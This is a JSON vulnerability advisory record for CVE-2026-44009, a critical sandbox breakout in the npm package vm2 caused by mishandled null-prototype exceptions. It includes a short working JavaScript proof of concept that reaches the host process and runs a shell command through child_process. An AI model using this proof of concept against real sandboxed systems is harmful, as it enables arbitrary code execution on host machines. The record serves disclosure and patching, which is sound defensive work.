{"id":"CVE-2026-44009","aliases":["GHSA-9vg3-4rfj-wgcm"],"url":"https://o3.security/vulnerability/CVE-2026-44009","summary":"vm2: Sandbox Breakout Through Null Proto Exception","details":"### Summary\n\nVM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.\n\n### Details\n\nIn `handleException` due to ``// SECURITY (post-GHSA-mpf8 hardening): use `from` (not `ensureThis`)`` exceptions with a null proto will be assumed to come from the other side and being proxied. Therefore, it is possible to get the proxied and unproxied object of a sandbox object with a null proto when thrown and then catched which allows to get the host `Function` object.\n\n### PoC\n\n```js\nconst {VM} = require(\"vm2\");\nconst vm = new VM();\nconsole.log(vm.run(`\nconst o = {__proto__: null};\ntry {\n\tthrow o;\n} catch (e) {\n\te.f = Buffer.prototype.inspect\n\to.f.constructor(\"return process\")().mainModule.require('child_process').execSync('touch pwned');\n}\n`));\n```\n\n### Impact\n\nAttackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.","published":"2026-05-13T17:36:07.309Z","modified":"2026-09-09T03:30:26.046857721Z","cvss":{"score":9.8,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},"epss":{"score":0.00812,"percentile":0.55214,"asOf":"2026-09-16"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"vm2","fixedVersion":"3.11.2"}],"fix":null,"references":[{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-44009.json"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:50850"},{"type":"ADVISORY","url":"https://access.redhat.com/security/cve/CVE-2026-44009"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/44xxx/CVE-2026-44009.json"},{"type":"ADVISORY","url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-9vg3-4rfj-wgcm"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44009"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2477185"},{"type":"PACKAGE","url":"https://github.com/patriksimek/vm2"},{"type":"WEB","url":"https://github.com/patriksimek/vm2/releases/tag/v3.11.2"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-09-09T03:30:26.046857721Z"}}